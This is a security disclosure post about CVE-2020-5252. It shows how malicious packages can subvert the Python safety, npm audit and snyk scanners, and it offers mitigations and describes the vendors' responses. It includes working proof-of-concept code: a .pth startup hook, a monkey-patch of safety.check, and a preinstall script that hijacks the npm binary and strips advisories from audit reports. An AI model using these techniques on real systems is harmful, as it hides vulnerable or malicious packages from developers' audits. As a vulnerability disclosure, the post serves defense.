CVE-2020-5252 and the State of Package Auditing Security
18 March, 2020 - 5 min read
Package scanners like Python safety
tool, npm audit
and snyk
cannot be trusted when they operate in the same runtime environment as potentially malicious packages.
What To Do Right Now for Safety
If you rely on safety
to scan your Python packages, you will want to start using a binary version or dockerized version of the tool. See their post here: https://pyup.io/posts/patched-vulnerability/
What To Do for NPM Audit
For NPM, There is currently no reliable way to trust the results of npm audit
. At a minimum, install your packages with scripts disabled:
npm install --ignore-scripts
This eliminates the primary method used to poison the environment. For packages that require install scripts you will want to manually audit them and possibly install them from self-maintained forks.
What To Do for Snyk
For users of Snyk, make sure you are NOT using the version installed via npm -g install snyk
. Instead, run the tool using either the dockerized version (https://github.com/snyk/snyk#docker) or download and use the standalone binary versions of the tool (https://github.com/snyk/snyk/releases).
What is the Vulnerability?
The package namespaces of Python and Node are mutable at runtime. That means that local package checkers can be patched or replaced and avoid detection and of course much worse.
Python Proof of Concept
The Python proof of concept can be found here: https://github.com/akoumjian/python-safety-vuln
The Python wheel
packages can install arbitrary files using the data_files
option.
setup(
name="malicious",
data_files=[
("lib/python3.6/site-packages/", ["malicious/malicious.pth"]),
("lib/python3.7/site-packages/", ["malicious/malicious.pth"]),
("lib/python3.8/site-packages/", ["malicious/malicious.pth"]),
],
)
We can use this option to install one or more pth
files the current Python interpreters site-packages
directory. pth
files are a leftover oddity from earlier python package implementations that happens to allow one line of arbitrary python code at interpreter load. That is, anytime python
gets run, it will run the code in the .pth
file at start (credit to Ned Batchelder https://nedbatchelder.com/blog/201001/running_code_at_python_startup.html ).
That single line of code can do a lot, such as import a whole module. In our case, we import a malicious package that can modify our package scanner.
# Monkey patch the safety module
import os.path
dir_path = os.path.dirname(os.path.realpath(__file__))
parent = os.path.dirname(dir_path)
safety_path = os.path.join(parent, "safety")
if os.path.isdir(safety_path):
from safety import safety
orig_check = safety.check
def derp(*args, packages=None, **kwargs):
print("Running my modified safety.check")
filtered = []
for package in packages:
if "insecure-package" in package.key:
continue
filtered.append(package)
return orig_check(*args, packages=filtered, **kwargs)
safety.check = derp
It's worth pointing out that this lets you effectively hijack any python
command by running at load time.
Safety Team Response
The team at https://pyup.io responded in time by finding someone to analyze the issue. After reviewing the proof of concept, they understood the implications and we began scoping out steps for mitigation.
Soon after, I was granted a bug bounty even though the safety
cli tool was not described in their bug bounty program. They began work on the solution shortly thereafter.
NPM & Snyk Implementation
The NPM & Snyk proof of concept is found here:
https://github.com/akoumjian/npm-audit-vuln
The npm
cli can be hijacked by replacing symlinks during package install process. This isn't a surprise, since running scripts at install time allows for arbitrary code execution. However, it's worth noting that there may be other paths to running scripts at node
runtime.
The package.json
specifies a preinstall script:
"scripts": {
"preinstall": "./replace.js"
},
The preinstall script overrides the default cli script with our own.
#!/usr/bin/env node
const { exec } = require("child_process")
const path = require("path")
const fs = require("fs")
const patchAudit = require("./patch-audit.js")
/**
* Replaces npm symlink with our modified script.
*/
exec("which -a npm", (err, stdout, stderr) => {
const npmSymLink = String(stdout).trim()
const fakeCliPath = path.resolve("./npm-cli.js")
fs.unlinkSync(npmSymLink)
fs.symlinkSync(fakeCliPath, npmSymLink)
patchAudit(npmSymLink)
})
And now whenever npm
is run, we can make sure the audit
command is patched. In this case, removing results for a vulnerable cordova plugin.
const path = require("path")
const sanitizeAudit = auditResult => {
const sanitizedActions = []
auditResult.actions.map(action => {
if (action.module !== "cordova-plugin-inappbrowser") {
sanitizedActions.push(action)
}
})
const sanitizedAdvisories = {}
for (let [key, value] of Object.entries(auditResult.advisories)) {
if (value.module_name !== "cordova-plugin-inappbrowser") {
sanitizedAdvisories[key] = value
}
}
auditResult.actions = sanitizedActions
auditResult.advisories = sanitizedAdvisories
return auditResult
}
const patchAudit = nodeLocation => {
const auditScriptLocation = path.join(
nodeLocation,
"../../lib/node_modules/npm/lib/install/audit.js"
)
require(auditScriptLocation)
const auditCache = require.cache[auditScriptLocation]
// console.log(auditCache);
const origPrintFullReport = auditCache.exports.printFullReport
const newPrintFullReport = auditResult => {
console.error("Running modified npm audit")
auditResult = sanitizeAudit(auditResult)
return origPrintFullReport(auditResult)
}
auditCache.exports.printFullReport = newPrintFullReport
const origInstallReport = auditCache.exports.printInstallReport
const newInstallReport = auditResult => {
console.error("Running modified npm audit")
auditResult = sanitizeAudit(auditResult)
return origInstallReport(auditResult)
}
auditCache.exports.printInstallReport = newInstallReport
}
module.exports = patchAudit
Response from NPMJS and Snyk Teams
Both teams have decided not to issue guidance or warnings on this issue. The rationale is that since arbitrary code execution at package installation is well documented, there is little these tools can do to mitigate the issue. It is a reasonable argument, after all arbitrary code execution leads to problems much worse than patching the auditing tools.
On the other hand, with the already poor state of security for package repositories, particularly the NPM registry, it seems reasonable that users should at least be able to trust the results of their package auditing tools.
If either of these tools ever wanted to expand their offering to things like code signing, verified builds, static analysis and the likes, you would absolutely expect that these tools only operate in environments separate from the ones they are scanning.
Questions
Please reach out to us if you're seeking guidance on this issue.